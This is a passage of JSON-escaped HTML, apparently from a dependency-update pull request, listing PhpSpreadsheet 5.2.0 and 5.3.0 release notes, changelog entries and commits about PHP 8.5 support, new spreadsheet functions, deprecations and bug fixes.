href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4707\"\u003e#4707\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4707\"\u003ePHPOffice/PhpSpreadsheet#4707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix lots of typos throughout codebase. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4705\"\u003e#4705\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4705\"\u003ePHPOffice/PhpSpreadsheet#4705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eApply small code style improvements. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4708\"\u003e#4708\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4708\"\u003ePHPOffice/PhpSpreadsheet#4708\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.2.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThis release should be usable with Php8.5 Release Candidates without deprecation messages.\u003c/li\u003e\n\u003cli\u003eOption to display numbers with less precision. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003e#4626\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003ePHPOffice/PhpSpreadsheet#4626\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4640\"\u003e#4640\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4640\"\u003ePHPOffice/PhpSpreadsheet#4640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOffer Tcpdf Interface which throws exception rather than die. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4666\"\u003e#4666\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4666\"\u003ePHPOffice/PhpSpreadsheet#4666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Reader ListWorksheetDimensions method. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4689\"\u003e#4689\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4689\"\u003ePHPOffice/PhpSpreadsheet#4689\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWorksheet::getHashInt serves no useful purpose. No replacement.\u003c/li\u003e\n\u003cli\u003eSpreadsheet::getId serves no useful purpose. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvement when working with large amounts of cells. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003e#4607\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003ePHPOffice/PhpSpreadsheet#4607\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4609\"\u003e#4609\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4609\"\u003ePHPOffice/PhpSpreadsheet#4609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor improvements to Calculation coverage. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4624\"\u003e#4624\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4624\"\u003ePHPOffice/PhpSpreadsheet#4624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConditional formatting in extLst. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003e#4629\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003ePHPOffice/PhpSpreadsheet#4629\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4633\"\u003e#4633\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4633\"\u003ePHPOffice/PhpSpreadsheet#4633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4634\"\u003e#4634\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4634\"\u003ePHPOffice/PhpSpreadsheet#4634\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrapped cells and default row height. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003e#4584\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003ePHPOffice/PhpSpreadsheet#4584\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4645\"\u003e#4645\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4645\"\u003ePHPOffice/PhpSpreadsheet#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFor Php8.5, replace one of our two uses of \u003ccode\u003e__wakeup\u003c/code\u003e with \u003ccode\u003e__unserialize\u003c/code\u003e, and eliminate the other. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4639\"\u003e#4639\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4639\"\u003ePHPOffice/PhpSpreadsheet#4639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse prefix _xlfn for BASE function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003e#4638\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003ePHPOffice/PhpSpreadsheet#4638\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4641\"\u003e#4641\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4641\"\u003ePHPOffice/PhpSpreadsheet#4641\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWarning messages with corrupt Xls file. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003e#4647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003ePHPOffice/PhpSpreadsheet#4647\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4648\"\u003e#4648\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4648\"\u003ePHPOffice/PhpSpreadsheet#4648\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional support for union and intersection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4596\"\u003e#4596\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4596\"\u003ePHPOffice/PhpSpreadsheet#4596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array keys x,o,v for Xml Reader. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003e#4668\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003ePHPOffice/PhpSpreadsheet#4668\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4669\"\u003e#4669\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4669\"\u003ePHPOffice/PhpSpreadsheet#4669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array key x for Xlsx Reader VML. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003e#4505\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003ePHPOffice/PhpSpreadsheet#4505\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4676\"\u003e#4676\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4676\"\u003ePHPOffice/PhpSpreadsheet#4676\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBetter support for Style Alignment Read Order. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003e#850\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003ePHPOffice/PhpSpreadsheet#850\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4655\"\u003e#4655\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4655\"\u003ePHPOffice/PhpSpreadsheet#4655\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore sophisticated workbook password algorithms (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003e#4673\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003ePHPOffice/PhpSpreadsheet#4673\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4675\"\u003e#4675\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4675\"\u003ePHPOffice/PhpSpreadsheet#4675\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer fix DIMENSIONS record. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4682\"\u003e#4682\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4682\"\u003ePHPOffice/PhpSpreadsheet#4682\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4687\"\u003e#4687\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4687\"\u003ePHPOffice/PhpSpreadsheet#4687\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Reader listWorksheetInfo process MULRK records. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4689\"\u003e#4689\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4689\"\u003ePHPOffice/PhpSpreadsheet#4689\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2025-11-24 - 5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eINFO\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4709\"\u003e#4709\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4709\"\u003ePHPOffice/PhpSpreadsheet#4709\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eBAHTTEXT\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4715\"\u003ePHPOffice/PhpSpreadsheet#4715\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e$dataType, the second parameter of Cell::setValueExplicit, is currently optional. Omitting it is deprecated, and it will be required in a future release.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eProtected ranges and insert/delete rows/columns. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003e#4695\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4695\"\u003ePHPOffice/PhpSpreadsheet#4695\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4702\"\u003e#4702\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4702\"\u003ePHPOffice/PhpSpreadsheet#4702\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUnexpected Exception in Php DateTime. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003e#4696\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4696\"\u003ePHPOffice/PhpSpreadsheet#4696\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003e#917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/917\"\u003ePHPOffice/PhpSpreadsheet#917\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4697\"\u003e#4697\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4697\"\u003ePHPOffice/PhpSpreadsheet#4697\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing Dutch translation to translation file. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4707\"\u003e#4707\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4707\"\u003ePHPOffice/PhpSpreadsheet#4707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix lots of typos throughout codebase. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4705\"\u003e#4705\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4705\"\u003ePHPOffice/PhpSpreadsheet#4705\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eApply small code style improvements. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4708\"\u003e#4708\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4708\"\u003ePHPOffice/PhpSpreadsheet#4708\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 5.2.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eThis release should be usable with Php8.5 Release Candidates without deprecation messages.\u003c/li\u003e\n\u003cli\u003eOption to display numbers with less precision. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003e#4626\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4626\"\u003ePHPOffice/PhpSpreadsheet#4626\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4640\"\u003e#4640\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4640\"\u003ePHPOffice/PhpSpreadsheet#4640\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOffer Tcpdf Interface which throws exception rather than die. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4666\"\u003e#4666\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4666\"\u003ePHPOffice/PhpSpreadsheet#4666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Reader ListWorksheetDimensions method. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4689\"\u003e#4689\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4689\"\u003ePHPOffice/PhpSpreadsheet#4689\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eWorksheet::getHashInt serves no useful purpose. No replacement.\u003c/li\u003e\n\u003cli\u003eSpreadsheet::getId serves no useful purpose. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvement when working with large amounts of cells. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003e#4607\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4607\"\u003ePHPOffice/PhpSpreadsheet#4607\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4609\"\u003e#4609\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4609\"\u003ePHPOffice/PhpSpreadsheet#4609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor improvements to Calculation coverage. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4624\"\u003e#4624\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4624\"\u003ePHPOffice/PhpSpreadsheet#4624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConditional formatting in extLst. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003e#4629\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4629\"\u003ePHPOffice/PhpSpreadsheet#4629\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4633\"\u003e#4633\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4633\"\u003ePHPOffice/PhpSpreadsheet#4633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePhp8.5 deprecates use of null as array index. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4634\"\u003e#4634\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4634\"\u003ePHPOffice/PhpSpreadsheet#4634\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrapped cells and default row height. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003e#4584\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4584\"\u003ePHPOffice/PhpSpreadsheet#4584\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4645\"\u003e#4645\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4645\"\u003ePHPOffice/PhpSpreadsheet#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFor Php8.5, replace one of our two uses of \u003ccode\u003e__wakeup\u003c/code\u003e with \u003ccode\u003e__unserialize\u003c/code\u003e, and eliminate the other. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4639\"\u003e#4639\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4639\"\u003ePHPOffice/PhpSpreadsheet#4639\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUse prefix _xlfn for BASE function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003e#4638\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4638\"\u003ePHPOffice/PhpSpreadsheet#4638\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4641\"\u003e#4641\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4641\"\u003ePHPOffice/PhpSpreadsheet#4641\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWarning messages with corrupt Xls file. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003e#4647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4647\"\u003ePHPOffice/PhpSpreadsheet#4647\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4648\"\u003e#4648\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4648\"\u003ePHPOffice/PhpSpreadsheet#4648\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional support for union and intersection. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4596\"\u003e#4596\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4596\"\u003ePHPOffice/PhpSpreadsheet#4596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array keys x,o,v for Xml Reader. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003e#4668\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4668\"\u003ePHPOffice/PhpSpreadsheet#4668\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4669\"\u003e#4669\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4669\"\u003ePHPOffice/PhpSpreadsheet#4669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMissing array key x for Xlsx Reader VML. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003e#4505\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4505\"\u003ePHPOffice/PhpSpreadsheet#4505\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4676\"\u003e#4676\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4676\"\u003ePHPOffice/PhpSpreadsheet#4676\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eBetter support for Style Alignment Read Order. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003e#850\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/850\"\u003ePHPOffice/PhpSpreadsheet#850\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4655\"\u003e#4655\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4655\"\u003ePHPOffice/PhpSpreadsheet#4655\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore sophisticated workbook password algorithms (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003e#4673\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4673\"\u003ePHPOffice/PhpSpreadsheet#4673\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4675\"\u003e#4675\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4675\"\u003ePHPOffice/PhpSpreadsheet#4675\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4d597c1aacdde1805a33c525b9758113ea0d90df\"\u003e\u003ccode\u003e4d597c1\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4722\"\u003e#4722\u003c/a\u003e from oleibman/changelog20251124\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/71d77fadee4644f9014f1c11fbf563bfc330b8f3\"\u003e\u003ccode\u003e71d77fa\u003c/code\u003e\u003c/a\u003e Prepare Changelog for Next Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/95b83f499b033b37d2ec2b9507f7eea1da818011\"\u003e\u003ccode\u003e95b83f4\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4717\"\u003e#4717\u003c/a\u003e from oleibman/explicit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/aa719cdb0240fd6b7591c03369f0cc4462cdbfa7\"\u003e\u003ccode\u003eaa719cd\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into explicit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/98206d902866e7219a9bf2fc4e2a760c8a956001\"\u003e\u003ccode\u003e98206d9\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4719\"\u003e#4719\u003c/a\u003e from oleibman/formalphp85try2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/66422b11b40ce292815526f6c4b8428d8761022a\"\u003e\u003ccode\u003e66422b1\u003c/code\u003e\u003c/a\u003e Formal Support for Php8.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/78190ffdb68844ff7823c64883d56dbcfd7dfe86\"\u003e\u003ccode\u003e78190ff\u003c/code\u003e\u003c/a\u003e Prepare to Deprecate Optionality of Second Arg to Cell::setValueExplicit\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1e4038743823979213f9f880f1b3fc00ff4679aa\"\u003e\u003ccode\u003e1e40387\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e from RobinvanderVliet/add-bahttext-function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/576577040c6c7a1162a703d3a6980b5baf479b1c\"\u003e\u003ccode\u003e5765770\u003c/code\u003e\u003c/a\u003e Support PHP 8.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c2a00c5d7df331e5f4ae811ebcde4053c97880e2\"\u003e\u003ccode\u003ec2a00c5\u003c/code\u003e\u003c/a\u003e Fix indentation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/4.3.1...5.3.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr 